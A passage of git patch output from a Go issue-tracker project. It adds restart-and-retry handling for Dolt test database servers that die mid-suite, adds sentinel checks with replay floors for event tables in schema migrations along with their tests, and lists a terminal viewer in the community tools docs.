t.Fatal("exit before listen is a server that never listened") + } + if localDoltNeverListened(errors.New("uow: init schema: duplicate column")) { + t.Fatal("a schema error is not a server that never listened") + } +} diff --git a/internal/storage/uow/version_reconcile_integration_test.go b/internal/storage/uow/version_reconcile_integration_test.go index 905d93d67..69226645b 100644 --- a/internal/storage/uow/version_reconcile_integration_test.go +++ b/internal/storage/uow/version_reconcile_integration_test.go @@ -4,6 +4,7 @@ import ( "context" "os/exec" "path/filepath" + "strings" "testing" "github.com/stretchr/testify/require" @@ -14,28 +15,18 @@ import ( publicops "github.com/steveyegge/beads/issueops" ) -func newTestUOWProvider(t *testing.T) UnitOfWorkProvider { +func openTestUOWProvider(t *testing.T, bin string) (UnitOfWorkProvider, error) { t.Helper() - testutil.RequireDoltBinary(t) - bin, err := exec.LookPath("dolt") - require.NoError(t, err) - - bdBin := buildBDBinary(t) - prev := proxy.ResolveExecutable - proxy.ResolveExecutable = func() (string, error) { return bdBin, nil } - t.Cleanup(func() { proxy.ResolveExecutable = prev }) - - t.Setenv("HOME", t.TempDir()) - port, err := proxy.PickFreePort() - require.NoError(t, err) + if err != nil { + return nil, err + } storeRootDir := t.TempDir() shutdownOnInterrupt(t, storeRootDir) verifiedShutdownCleanup(t, storeRootDir) cfgPath := writeServerConfig(t, port) logPath := filepath.Join(t.TempDir(), "server.log") - - provider, err := NewDoltServerUOWProvider( + return NewDoltServerUOWProvider( context.Background(), storeRootDir, "beads", @@ -50,6 +41,40 @@ func newTestUOWProvider(t *testing.T) UnitOfWorkProvider { false, "", ) +} + +func localDoltNeverListened(err error) bool { + if err == nil { + return false + } + msg := err.Error() + return strings.Contains(msg, "connection refused") || + strings.Contains(msg, "exited before listener became ready") +} + +func newTestUOWProvider(t *testing.T) UnitOfWorkProvider { + t.Helper() + testutil.RequireDoltBinary(t) + bin, err := exec.LookPath("dolt") + require.NoError(t, err) + + bdBin := buildBDBinary(t) + prev := proxy.ResolveExecutable + proxy.ResolveExecutable = func() (string, error) { return bdBin, nil } + t.Cleanup(func() { proxy.ResolveExecutable = prev }) + + t.Setenv("HOME", t.TempDir()) + + provider, err := openTestUOWProvider(t, bin) + // This helper starts a private dolt. When that process exits before it + // listens, the open fails with connection refused and the test is the + // only red one (Main, 2026-09-26, + // TestIssueOperationsCreateRoutesInfraTypesToWisps). A second server on + // a new port is the same start the next test would have done anyway. + if err != nil && localDoltNeverListened(err) { + t.Logf("local dolt did not accept connections (%v); starting another", err) + provider, err = openTestUOWProvider(t, bin) + } require.NoError(t, err) require.NotNil(t, provider) t.Cleanup(func() { _ = provider.Close(context.Background()) }) diff --git a/internal/testutil/testdoltserver.go b/internal/testutil/testdoltserver.go index 647aefa59..2831231e7 100644 --- a/internal/testutil/testdoltserver.go +++ b/internal/testutil/testdoltserver.go @@ -32,6 +32,7 @@ const serverStartTimeout = 60 * time.Second // Module-level singleton state. var ( doltServerOnce sync.Once + doltServerMu sync.Mutex doltServerErr error doltTestPort string doltSingletonSrv *doltServer @@ -227,13 +228,70 @@ func pingDoltOnce(dsn string) error { // Safe to call concurrently or multiple times (sync.Once). func terminateSharedContainer() { doltTerminateOnce.Do(func() { - if doltSingletonSrv != nil && doltSingletonSrv.container != nil { - _ = testcontainers.TerminateContainer(doltSingletonSrv.container) - doltSingletonSrv.container = nil - } + doltServerMu.Lock() + defer doltServerMu.Unlock() + stopSharedContainerLocked() }) } +// stopSharedContainerLocked drops the current singleton container. The caller +// holds doltServerMu. It does not consume doltTerminateOnce, so a later +// replacement can still be removed by TerminateDoltContainer. +func stopSharedContainerLocked() { + if doltSingletonSrv != nil && doltSingletonSrv.container != nil { + _ = testcontainers.TerminateContainer(doltSingletonSrv.container) + doltSingletonSrv.container = nil + } + doltSingletonSrv = nil +} + +// RestartSharedDoltContainer replaces the shared test container with a new +// one and returns its host port. A package that keeps one container for the +// whole TestMain (tracker, and the same shape elsewhere) otherwise turns a +// single server death into a failure for every later test: each dial reports +// "Dolt server unreachable" and the job goes red dozens of times. The +// replacement is empty; the caller re-creates its shared database. +func RestartSharedDoltContainer() (int, error) { + if state := checkDolt(); state != doltReady { + return 0, fmt.Errorf("%s", state) + } + doltServerMu.Lock() + defer doltServerMu.Unlock() + stopSharedContainerLocked() + if err := startDoltContainer(); err != nil { + doltServerErr = err + return 0, err + } + if err := os.Setenv("BEADS_DOLT_PORT", doltTestPort); err != nil { + doltServerErr = fmt.Errorf("set BEADS_DOLT_PORT: %w", err) + return 0, doltServerErr + } + if err := os.Setenv("BEADS_DOLT_SERVER_PORT", doltTestPort); err != nil { + doltServerErr = fmt.Errorf("set BEADS_DOLT_SERVER_PORT: %w", err) + return 0, doltServerErr + } + doltServerErr = nil + return DoltContainerPortInt(), nil +} + +// ServerUnreachable reports whether err is a shared Dolt server that is gone, +// as opposed to a query the server refused. Connection refused and the +// "Dolt server unreachable" dial error are the shapes left behind when the +// singleton container exits; unexpected EOF is the MySQL driver watching that +// exit mid-handshake. +func ServerUnreachable(err error) bool { + if err == nil { + return false + } + if DoltContainerCrashed() { + return true + } + msg := strings.ToLower(err.Error()) + return strings.Contains(msg, "connection refused") || + strings.Contains(msg, "dolt server unreachable") || + strings.Contains(msg, "unexpected eof") +} + // IsolatedDoltContainer is a per-test Dolt container together with the // accessors a test needs to inspect it from the inside. type IsolatedDoltContainer struct { @@ -332,6 +390,8 @@ func StartIsolatedDoltContainer(t *testing.T) string { // BEADS_DOLT_PORT and BEADS_DOLT_SERVER_PORT. func ensureSharedContainer() { doltServerOnce.Do(func() { + doltServerMu.Lock() + defer doltServerMu.Unlock() doltServerErr = startDoltContainer() if doltServerErr == nil && doltTestPort != "" { if err := os.Setenv("BEADS_DOLT_PORT", doltTestPort); err != nil { diff --git a/internal/testutil/testdoltserver_unreachable_test.go b/internal/testutil/testdoltserver_unreachable_test.go new file mode 100644 index 000000000..002a0bb03 --- /dev/null +++ b/internal/testutil/testdoltserver_unreachable_test.go @@ -0,0 +1,32 @@ +//go:build !windows + +package testutil + +import ( + "errors" + "fmt" + "testing" +) + +func TestServerUnreachable(t *testing.T) { + t.Parallel() + cases := []struct { + name string + err error + want bool + }{ + {name: "nil", err: nil, want: false}, + {name: "refused", err: errors.New("dial tcp 127.0.0.1:32772: connect: connection refused"), want: true}, + {name: "unreachable", err: fmt.Errorf("Dolt server unreachable at 127.0.0.1:1: %w", errors.New("connection refused")), want: true}, + {name: "eof", err: errors.New("unexpected EOF"), want: true}, + {name: "query", err: errors.New("Error 1105: query aborted"), want: false}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + if got := ServerUnreachable(tc.err); got != tc.want { + t.Fatalf("ServerUnreachable(%v) = %v, want %v", tc.err, got, tc.want) + } + }) + } +} diff --git a/internal/testutil/testdoltserver_windows.go b/internal/testutil/testdoltserver_windows.go index 6f7e7689d..cb211b351 100644 --- a/internal/testutil/testdoltserver_windows.go +++ b/internal/testutil/testdoltserver_windows.go @@ -40,6 +40,14 @@ func DoltContainerPortInt() int { return 0 } // TerminateDoltContainer is a no-op on Windows. func TerminateDoltContainer() {} +// RestartSharedDoltContainer is not supported on Windows CI. +func RestartSharedDoltContainer() (int, error) { + return 0, fmt.Errorf("Docker not available on Windows CI") +} + +// ServerUnreachable is always false on Windows (no shared container). +func ServerUnreachable(err error) bool { return false } + // DoltContainerCrashed always returns false on Windows (no container to monitor). func DoltContainerCrashed() bool { return false } diff --git a/internal/tracker/engine_test.go b/internal/tracker/engine_test.go index bdd97e917..7b39a949b 100644 --- a/internal/tracker/engine_test.go +++ b/internal/tracker/engine_test.go @@ -22,13 +22,14 @@ func newTestStore(t *testing.T) *dolt.DoltStore { t.Skip("shared test Dolt database not initialized, skipping test") } ctx := context.Background() - store, err := dolt.New(ctx, &dolt.Config{ - Path: t.TempDir(), - ServerHost: "127.0.0.1", - ServerPort: testServerPort, - Database: testSharedDB, - MaxOpenConns: 1, - }) + store, err := openTrackerTestStore(ctx, t.TempDir()) + if err != nil && testutil.ServerUnreachable(err) { + t.Logf("shared Dolt server is gone (%v); replacing it once", err) + if rerr := reviveTrackerDolt(); rerr != nil { + t.Fatalf("Failed to revive Dolt server after %v: %v", err, rerr) + } + store, err = openTrackerTestStore(ctx, t.TempDir()) + } if err != nil { t.Fatalf("Failed to create dolt store: %v", err) } @@ -43,6 +44,16 @@ func newTestStore(t *testing.T) *dolt.DoltStore { return store } +func openTrackerTestStore(ctx context.Context, path string) (*dolt.DoltStore, error) { + return dolt.New(ctx, &dolt.Config{ + Path: path, + ServerHost: "127.0.0.1", + ServerPort: testServerPort, + Database: testSharedDB, + MaxOpenConns: 1, + }) +} + func TestEnginePullMatchesExistingIssueByLocalID(t *testing.T) { ctx := context.Background() store := newTestStore(t) diff --git a/internal/tracker/testmain_test.go b/internal/tracker/testmain_test.go index f08777690..82b090e91 100644 --- a/internal/tracker/testmain_test.go +++ b/internal/tracker/testmain_test.go @@ -7,6 +7,7 @@ import ( "database/sql" "fmt" "os" + "sync" "testing" "github.com/steveyegge/beads/internal/storage/dolt" @@ -22,6 +23,15 @@ var testSharedDB string // testSharedConn is a raw *sql.DB for branch operations in the shared database. var testSharedConn *sql.DB +// trackerDoltMu serializes a mid-suite server replacement. Tests in this +// package do not call t.Parallel, but a revive still swaps the port and the +// shared connection that every later newTestStore reads. +var trackerDoltMu sync.Mutex + +// trackerDoltRevived bounds the replacement to one per process. A container +// that dies on every open would otherwise spend the job timeout restarting. +var trackerDoltRevived bool + func TestMain(m *testing.M) { os.Exit(testMainInner(m)) } @@ -44,7 +54,11 @@ func testMainInner(m *testing.M) int { return 1 } testSharedConn = db - defer db.Close() + defer func() { + if testSharedConn != nil { + _ = testSharedConn.Close() + } + }() // Create schema + config on the shared DB and commit to main if err := initTrackerSharedSchema(testServerPort); err != nil { @@ -62,8 +76,16 @@ func testMainInner(m *testing.M) int { func initTrackerSharedSchema(port int) error { ctx := context.Background() + // A fresh directory each call. Reusing /tmp/tracker-shared-init after a + // server replacement would keep the previous server's metadata and dial + // the port that just died. + dir, err := os.MkdirTemp("", "tracker-shared-init-") + if err != nil { + return fmt.Errorf("init dir: %w", err) + } + defer os.RemoveAll(dir) cfg := &dolt.Config{ - Path: "/tmp/tracker-shared-init", + Path: dir, ServerHost: "127.0.0.1", ServerPort: port, Database: testSharedDB, @@ -93,3 +115,38 @@ func initTrackerSharedSchema(port int) error { return nil } + +// reviveTrackerDolt replaces a shared container that has exited and rebuilds +// the branch-per-test database on it. One death used to fail every later +// TestEngine* with "Dolt server unreachable" (Main job "Test (storage domain +// + uow)", 2026-09-25, 27 failures after a single unexpected EOF). +func reviveTrackerDolt() error { + trackerDoltMu.Lock() + defer trackerDoltMu.Unlock() + if trackerDoltRevived { + if testutil.DoltContainerPortInt() != 0 && !testutil.DoltContainerCrashed() { + testServerPort = testutil.DoltContainerPortInt() + return nil + } + return fmt.Errorf("shared Dolt server died again after one replacement") + } + port, err := testutil.RestartSharedDoltContainer() + if err != nil { + return err + } + testServerPort = port + if testSharedConn != nil { + _ = testSharedConn.Close() + testSharedConn = nil + } + db, err := testutil.SetupSharedTestDB(port, testSharedDB) + if err != nil { + return err + } + testSharedConn = db + if err := initTrackerSharedSchema(port); err != nil { + return err + } + trackerDoltRevived = true + return nil +} From aa3c43b6bd2ff91c5afe6268283d4e8d88e50e8e Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Sat, 26 Sep 2026 14:27:45 -0700 Subject: [PATCH 116/624] feat(storage): add events/bd_events_journal/bd_events_seq to cursorRealityFloor sentinel set (#6547) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(feat): red — Add sentinelFlooredTables to cursorRealityFloor so events/bd_events_journal/bd_events_seq self-heal (release/1.3.0) (refs be-u14.1) * feat: green — Add sentinelFlooredTables to cursorRealityFloor so events/bd_events_journal/bd_events_seq self-heal (release/1.3.0) (refs be-u14.1) * chore: release gate PASS for cursor-reality-floor-sentinel-self-heal (be-g69lt) * chore: remove leaked internal release-gate doc from PR branch release-gates/be-g69lt-gate.md Tracked our internal gc-management/beads-rig release-gate checklist and should never have been committed to this upstream branch -- it's process residue from our deploy tooling, not part of the change itself. Per maintainer bee-ghosttrack's request during review of PR #6571. The root cause (our deploy tooling auto-committing this file) is already fixed as of gm-qatxl1; this branch predates that fix, so this commit is cleanup only -- no other content on this branch is touched. Ref: be-lk7o3 * fix(schema): pin the floored-sentinel minimum and generalize creator detection Maintainer review fixups for PR #6547 (adoption review, iteration 1). No behavior change beyond the probe error-message text. - Pin the floored loop's intra-loop minimum. Every existing case removed exactly one floored sentinel, so `st.replayFloor < floor` was never evaluated against a floor an earlier absent sentinel had already set, and inverting it to `>` left the whole package green. Adds an "events and bd_events_journal both absent" case asserting floor 18 and widens allSentinelTablesExcept to variadic; the inversion now fails (floor = 21, want 18). The floors ascend in slice order today (18, 21, 21), so this is what keeps a future reordering or lower-floored addition from silently regressing to "last absent sentinel wins". - Distinguish the floored-table probe's error wrap from the floor-0 loop's. They were byte-identical, so a store-open failure did not say which sentinel class failed, and the consequences differ sharply (floor 0 and a full series replay vs. floor 18/21). - Detect both creator shapes in TestSentinelFlooredTablesAreCreatedByTheSeries rather than keying on the literal table name "events". The PREPAREd conditional CREATE is required of any creator whose table carries a named, database-unique constraint (ignored/0019's own comment), so a future floored sentinel in that shape would have fallen through to the __temp__ regex and failed with a misleading "never created by the series". Both arms are mutation-proved to be load-bearing. - Record in the sentinelFlooredTables comment that events' dolt_ignore pattern is version-gated ({"events", 62}) rather than unconditional, and why the clamp is safe anyway: the ignored plane is only reached after the main pass succeeds, and a main pass from below 62 applies 0062_events_dolt_ignore, whose REPLACE INTO dolt_ignore lands before the ignored plane is touched. Validation: go test -count=1 ./internal/storage/schema/ (ok, 36.5s), go vet and gofmt clean, git diff --check clean. --------- Co-authored-by: Julian Knutsen --- .../storage/schema/cursor_reality_test.go | 192 +++++++++++++++++- internal/storage/schema/lock_test.go | 6 +- internal/storage/schema/schema.go | 68 ++++++- 3 files changed, 260 insertions(+), 6 deletions(-) diff --git a/internal/storage/schema/cursor_reality_test.go b/internal/storage/schema/cursor_reality_test.go index c41144fab..299a2e7f9 100644 --- a/internal/storage/schema/cursor_reality_test.go +++ b/internal/storage/schema/cursor_reality_test.go @@ -46,12 +46,30 @@ func stubSentinelColumns(t *testing.T, present map[string]bool, probeErr error) } // allSentinelTables is the "everything the table sentinels ask for is present" -// shape, so column-sentinel cases can say so without repeating the list. +// shape, so column-sentinel cases can say so without repeating the list. Both +// the unconditional-floor-0 tables and the floored tables share the same +// sentinelTableExists probe, so both must be marked present here or a case +// meant to isolate one sentinel would spuriously trip another. func allSentinelTables() map[string]bool { - present := make(map[string]bool, len(ignoredSource.sentinelTables)) + present := make(map[string]bool, len(ignoredSource.sentinelTables)+len(ignoredSource.sentinelFlooredTables)) for _, table := range ignoredSource.sentinelTables { present[table] = true } + for _, st := range ignoredSource.sentinelFlooredTables { + present[st.table] = true + } + return present +} + +// allSentinelTablesExcept is allSentinelTables with the named tables absent, +// for cases that need every sentinel healthy except the one(s) under test. +// Variadic so a case can contradict two sentinels of the same kind at once, +// which is what pins the minimum a single loop accumulates. +func allSentinelTablesExcept(tables ...string) map[string]bool { + present := allSentinelTables() + for _, table := range tables { + delete(present, table) + } return present } @@ -139,6 +157,55 @@ func TestCursorRealityFloor(t *testing.T) { wantFloor: 0, wantLimited: false, }, + { + name: "events absent", + present: allSentinelTablesExcept("events"), + columns: map[string]bool{"leases.granted_node": true}, + wantFloor: 18, + wantLimited: true, + }, + { + name: "bd_events_journal absent", + present: allSentinelTablesExcept("bd_events_journal"), + columns: map[string]bool{"leases.granted_node": true}, + wantFloor: 21, + wantLimited: true, + }, + { + name: "bd_events_seq absent", + present: allSentinelTablesExcept("bd_events_seq"), + columns: map[string]bool{"leases.granted_node": true}, + wantFloor: 21, + wantLimited: true, + }, + { + // Two floored sentinels contradicted at once: the minimum must win + // WITHIN the floored loop, not only across loops. Without this + // case every case removes exactly one floored table, so the loop + // only ever reaches its !limited arm and `st.replayFloor < floor` + // is never evaluated against a floor an earlier absent sentinel + // already set — inverting it to `>` leaves the package green. The + // floors happen to ascend in slice order (18, 21, 21) today, so + // this is what keeps a future reordering or lower-floored addition + // from silently regressing to "last absent sentinel wins". + name: "events and bd_events_journal both absent", + present: allSentinelTablesExcept("events", "bd_events_journal"), + columns: map[string]bool{"leases.granted_node": true}, + wantFloor: 18, + wantLimited: true, + }, + { + // Combined contradiction across two different sentinel kinds: the + // true minimum (11, from the column) must win over the higher + // floored-table floor (18) the table loop finds first, proving the + // accumulator takes the minimum across both loops rather than + // whichever ran first. + name: "events absent and leases granted_node absent", + present: allSentinelTablesExcept("events"), + columns: map[string]bool{}, + wantFloor: 11, + wantLimited: true, + }, } { t.Run(tc.name, func(t *testing.T) { stubSentinelTables(t, tc.present, nil) @@ -255,6 +322,37 @@ func TestCurrentVersionClampsToSentinelFloor(t *testing.T) { columns: map[string]bool{"leases.granted_node": true}, want: latest, }, + { + name: "events absent, at-latest cursor", + raw: latest, + present: allSentinelTablesExcept("events"), + columns: map[string]bool{"leases.granted_node": true}, + want: 18, + }, + { + name: "bd_events_journal absent, at-latest cursor", + raw: latest, + present: allSentinelTablesExcept("bd_events_journal"), + columns: map[string]bool{"leases.granted_node": true}, + want: 21, + }, + { + name: "bd_events_seq absent, at-latest cursor", + raw: latest, + present: allSentinelTablesExcept("bd_events_seq"), + columns: map[string]bool{"leases.granted_node": true}, + want: 21, + }, + { + // Combined contradiction across two different sentinel kinds: the + // true minimum (11, from the column) must win over the higher + // floored-table floor (18). + name: "events absent and leases column absent, at-latest cursor", + raw: latest, + present: allSentinelTablesExcept("events"), + columns: map[string]bool{}, + want: 11, + }, } { t.Run(tc.name, func(t *testing.T) { stubSentinelTables(t, tc.present, nil) @@ -437,6 +535,84 @@ func TestSentinelColumnsAreCreatedByTheSeries(t *testing.T) { } } +// TestSentinelFlooredTablesAreCreatedByTheSeries is the floored-table +// analogue of TestSentinelColumnsAreCreatedByTheSeries: every sentinel in +// sentinelFlooredTables must be created by the series, strictly above its own +// replayFloor, and that floor must exclude ignored/0007's unguarded restamp +// the same way the column floor does. +// +// events does not use the __temp__ + RENAME pattern the other +// creators do: it carries the named, database-unique constraint +// fk_events_issue, so a temp twin errors "duplicate foreign key constraint +// name" on Dolt 2.2.2 (see ignored/0019's own comment). Its creator guards a +// plain CREATE TABLE behind a PREPAREd conditional on an INFORMATION_SCHEMA +// existence probe instead, so both creation shapes are detected here. +func TestSentinelFlooredTablesAreCreatedByTheSeries(t *testing.T) { + if len(ignoredSource.sentinelFlooredTables) == 0 { + t.Fatal("ignoredSource has no sentinel floored tables; the events/bd_events_journal/bd_events_seq guard is inert") + } + + bodies := make(map[int]string) + for _, mf := range ignoredSource.list() { + blob, err := ignoredSource.files.ReadFile(ignoredSource.dir + "/" + mf.name) + if err != nil { + t.Fatalf("read %s: %v", mf.name, err) + } + bodies[mf.version] = string(blob) + } + + // findVersion returns the lowest migration version whose body matches, or + // 0 when nothing does. + findVersion := func(re *regexp.Regexp) int { + found := 0 + for version, body := range bodies { + if !re.MatchString(body) { + continue + } + if found == 0 || version < found { + found = version + } + } + return found + } + + unguarded := findVersion(regexp.MustCompile(`(?i)UPDATE\s+wisps\s+SET\s+is_blocked\s*=\s*0\s*;`)) + if unguarded == 0 { + t.Fatal("the unguarded `UPDATE wisps SET is_blocked = 0` the replay floor exists to exclude is gone; re-derive the floor") + } + + for _, st := range ignoredSource.sentinelFlooredTables { + // Detect both creation shapes and accept whichever the series actually + // uses, rather than keying on the table's name: the PREPAREd + // conditional CREATE is required of any creator whose table carries a + // named, database-unique constraint (ignored/0019's own comment), so a + // future floored sentinel can legitimately arrive in either shape and + // must not fall through to the misleading "never created" failure. + // findVersion already returns the lowest match, so take the earlier of + // the two shapes if a table somehow uses both. + prepared := findVersion(regexp.MustCompile( + `(?i)IF\(@\w+\s*=\s*0,\s*'CREATE TABLE ` + regexp.QuoteMeta(st.table) + `\s*\(`)) + temp := findVersion(regexp.MustCompile(regexp.QuoteMeta("__temp__" + st.table))) + creator := prepared + if creator == 0 || (temp != 0 && temp < creator) { + creator = temp + } + if creator == 0 { + t.Errorf("sentinel floored table %q is never created by the %s series; re-running it could not repair that table", + st.table, ignoredSource.dir) + continue + } + if creator <= st.replayFloor { + t.Errorf("sentinel floored table %q is created by ignored/%04d, at or below its replayFloor %d; the clamped replay would skip the migration that heals it", + st.table, creator, st.replayFloor) + } + if st.replayFloor < unguarded { + t.Errorf("sentinel floored table %q replayFloor %d does not exclude ignored/%04d, whose unguarded UPDATE restamps wisps.updated_at", + st.table, st.replayFloor, unguarded) + } + } +} + // TestMigrationWorkNeededWhenWispTablesAbsent is gh 5033 end to end, through // the real short-circuit that caused it. Both cursors read at-latest, so // before this change migrationWorkNeeded returned false, MigrateUp did @@ -491,6 +667,12 @@ func TestMigrationWorkNeededWhenLeaseGrantedNodeAbsent(t *testing.T) { mock.ExpectQuery(regexp.QuoteMeta("FROM INFORMATION_SCHEMA.TABLES")). WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(1)) } + // The floored-table sentinels probe the same way and must all corroborate + // too, ahead of the column probe below. + for range ignoredSource.sentinelFlooredTables { + mock.ExpectQuery(regexp.QuoteMeta("FROM INFORMATION_SCHEMA.TABLES")). + WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(1)) + } mock.ExpectQuery(regexp.QuoteMeta("FROM INFORMATION_SCHEMA.COLUMNS")). WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(0)) @@ -590,6 +772,12 @@ func TestMigrateStartsAboveTheFloorUnderColumnContradiction(t *testing.T) { mock.ExpectQuery(regexp.QuoteMeta("FROM INFORMATION_SCHEMA.TABLES")). WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(1)) } + // The floored-table sentinels probe the same way and must all corroborate + // too, ahead of the column probe below. + for range ignoredSource.sentinelFlooredTables { + mock.ExpectQuery(regexp.QuoteMeta("FROM INFORMATION_SCHEMA.TABLES")). + WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(1)) + } mock.ExpectQuery(regexp.QuoteMeta("FROM INFORMATION_SCHEMA.COLUMNS")). WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(0)) diff --git a/internal/storage/schema/lock_test.go b/internal/storage/schema/lock_test.go index 481cbe463..c8cb9dc30 100644 --- a/internal/storage/schema/lock_test.go +++ b/internal/storage/schema/lock_test.go @@ -709,7 +709,7 @@ func TestMigrateUpWithLockFreshBootstrapHealResetsAndRetries(t *testing.T) { // expectIgnoredSentinelProbes mocks the INFORMATION_SCHEMA lookups // currentVersion issues to confirm a non-zero ignored cursor against the // schema it claims (gh 5033). They fire only for a non-zero cursor, in -// ignoredSource's table then column sentinel order. +// ignoredSource's table then floored-table then column sentinel order. func expectIgnoredSentinelProbes(mock sqlmock.Sqlmock, present bool) { count := 0 if present { @@ -720,6 +720,10 @@ func expectIgnoredSentinelProbes(mock sqlmock.Sqlmock, present bool) { WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(count)) } if present { + for range ignoredSource.sentinelFlooredTables { + mock.ExpectQuery(regexp.QuoteMeta("FROM INFORMATION_SCHEMA.TABLES")). + WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(1)) + } for range ignoredSource.sentinelColumns { mock.ExpectQuery(regexp.QuoteMeta("FROM INFORMATION_SCHEMA.COLUMNS")). WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(1)) diff --git a/internal/storage/schema/schema.go b/internal/storage/schema/schema.go index 5ee2df65a..659b82b03 100644 --- a/internal/storage/schema/schema.go +++ b/internal/storage/schema/schema.go @@ -237,6 +237,22 @@ type migrationSource struct { // TestSentinelTablesAreCreatedByTheSeries enforces the creating side only; // the dropping side is this comment. sentinelTables []string + // sentinelFlooredTables are clone-local tables whose absence contradicts an + // otherwise at-latest cursor, but — unlike sentinelTables — only back to + // each table's own replayFloor rather than unconditionally to 0. events, + // bd_events_journal, and bd_events_seq are dolt_ignored (never part of + // committed history, so a fresh clone can arrive at-latest without them) + // but floor-0 would replay ignored/0007's unguarded + // `UPDATE wisps SET is_blocked = 0` (see schemaSentinelColumn.replayFloor) + // for a table absence that says nothing about migrations that predate it. + // + // INVARIANT: no future migration in this series may DROP or RENAME a + // floored sentinel table. Older binaries in the field check their own + // sentinel list against the live schema, so removing one would make every + // healthy newer database read as "contradicted" to them and replay the + // series from their floor. TestSentinelFlooredTablesAreCreatedByTheSeries + // enforces the creating side only; the dropping side is this comment. + sentinelFlooredTables []schemaSentinelTable // sentinelColumns are clone-local columns whose absence contradicts an // otherwise at-latest cursor. Unlike a missing sentinel table, a missing // column disbelieves the cursor only back to the column's replayFloor: it @@ -252,6 +268,15 @@ type migrationSource struct { sentinelColumns []schemaSentinelColumn } +type schemaSentinelTable struct { + table string + // replayFloor is the highest cursor value this sentinel's absence still + // leaves believable — same semantics and the same two constraints as + // schemaSentinelColumn.replayFloor, applied to a whole table's presence + // instead of one column's. + replayFloor int +} + type schemaSentinelColumn struct { table string column string @@ -296,6 +321,28 @@ var ( // missing; wisps is checked too so a partially materialized database // is caught by whichever is absent. sentinelTables: []string{"wisps", "wisp_dependencies"}, + // events is created by ignored/0019 (floor 18: everything at or below + // must stay out of the replay, and 0019 itself must stay in it) and + // bd_events_journal/bd_events_seq are both created by ignored/0022 + // (floor 21, same reasoning). All three are dolt_ignored and never + // part of committed history, so a clone can arrive with the cursor + // at-latest but without them — exactly the leases shape below, except + // a whole-table absence rather than a column-on-an-existing-table one. + // + // The journal tables are ignored unconditionally; events is the one + // version-gated pattern ({"events", 62} below), so strictly its + // ignore is only asserted once the main cursor reaches 0062. That is + // safe here rather than a hole: this replay runs on the ignored plane, + // which migrateUpAfterReconcile only reaches after the main pass + // succeeded, and a main pass from below 62 applies + // 0062_events_dolt_ignore, whose REPLACE INTO dolt_ignore lands + // before the ignored plane is touched. So the clamp can never have + // 0019 re-create events as tracked-at-HEAD. + sentinelFlooredTables: []schemaSentinelTable{ + {table: "events", replayFloor: 18}, + {table: "bd_events_journal", replayFloor: 21}, + {table: "bd_events_seq", replayFloor: 21}, + }, // A historical ignored-v16 ordinal collision can leave the local // leases table present but without the column frozen 0016 adds; a // database materialized out of band can be missing the leases table @@ -1392,7 +1439,7 @@ func (m migrationSource) currentVersion(ctx context.Context, db DBConn) (int, er // corroborates. limited is false when nothing is missing (believe the cursor as // read); otherwise floor is the highest version still believable — 0 for a // missing sentinel table, and the sentinel's replayFloor for a missing sentinel -// column. +// floored table or sentinel column. // // Clamping rather than erroring is deliberate: the series is written to be // re-runnable against a database that already has some of it. @@ -1404,8 +1451,10 @@ func (m migrationSource) currentVersion(ctx context.Context, db DBConn) (int, er // rather than merely diagnose. // // Sentinel tables are probed first and short-circuit the whole check: they -// floor at 0, so no column probe could lower the answer, and skipping it keeps -// this cheap on the path every store open takes. +// floor at 0, so no floored-table or column probe could lower the answer, and +// skipping it keeps this cheap on the path every store open takes. Floored +// tables are then probed together with columns, each clamping floor to the +// lowest replayFloor of anything found absent. func (m migrationSource) cursorRealityFloor(ctx context.Context, db DBConn) (int, bool, error) { for _, table := range m.sentinelTables { present, err := sentinelTableExists(ctx, db, table) @@ -1417,6 +1466,19 @@ func (m migrationSource) cursorRealityFloor(ctx context.Context, db DBConn) (int } } floor, limited := 0, false + for _, st := range m.sentinelFlooredTables { + present, err := sentinelTableExists(ctx, db, st.table) + if err != nil { + return 0, false, fmt.Errorf("checking %s sentinel floored table %s: %w", m.cursorTable, st.table, err) + } + if present { + continue + } + if !limited || st.replayFloor < floor { + floor = st.replayFloor + } + limited = true + } for _, column := range m.sentinelColumns { present, err := sentinelColumnExists(ctx, db, column.table, column.column) if err != nil { From 59485e385f03889fd6422b5432713975e9ec2018 Mon Sep 17 00:00:00 2001 From: Graeme Foster <80714+GraemeF@users.noreply.github.com> Date: Sat, 26 Sep 2026 22:29:24 +0100 Subject: [PATCH 117/624] docs: add beady-eye to community tools (#6502) * docs: add beady-eye to community tools * docs: add beady-eye to community tools * docs: add beady-eye to community tools * docs: add beady-eye to community tools * docs: add beady-eye to community tools * docs: add beady-eye to community tools --- docs/community-tools.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/docs/community-tools.md b/docs/community-tools.md index 953eee052..0c608dbb5 100644 --- a/docs/community-tools.md +++ b/docs/community-tools.md @@ -16,6 +16,8 @@ A curated list of community-built UIs, extensions, and integrations for Beads. R - **[perles](https://github.com/zjrosen/perles)** - Terminal UI search, dependency and kanban viewer powered by a custom BQL (Beads Query Language). Built by [@zjrosen](https://github.com/zjrosen). (Go) +- **[beady-eye](https://github.com/CodeForBreakfast/beady-eye)** - Live terminal viewer that follows agents as they work through a tree of beads, redrawing as they claim and finish them. Integrates with [herdr](https://herdr.dev), and watches several projects at once. Read-only. Built by [@GraemeF](https://github.com/GraemeF). (Rust) + ## Web UIs - **[bd-board](https://github.com/jeanpfs/bd-board)** - Local-first web dashboard for browsing Beads projects, viewing kanban boards by status or epic swimlanes, and filtering by priority, text search, or sort order. Uses the `bd` CLI for Dolt compatibility, with writes disabled unless explicitly enabled. Built by [@jeanpfs](https://github.com/jeanpfs). (TanStack Start/React) From da6263374d97fa6765214fba1b0562f1b3d0d2ed Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Sat, 26 Sep 2026 14:48:30 -0700 Subject: [PATCH 118/624] Four-leg no-op conformance case for #5898: duplicate dep add and absent dep remove mint no version on any leg (#6650) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 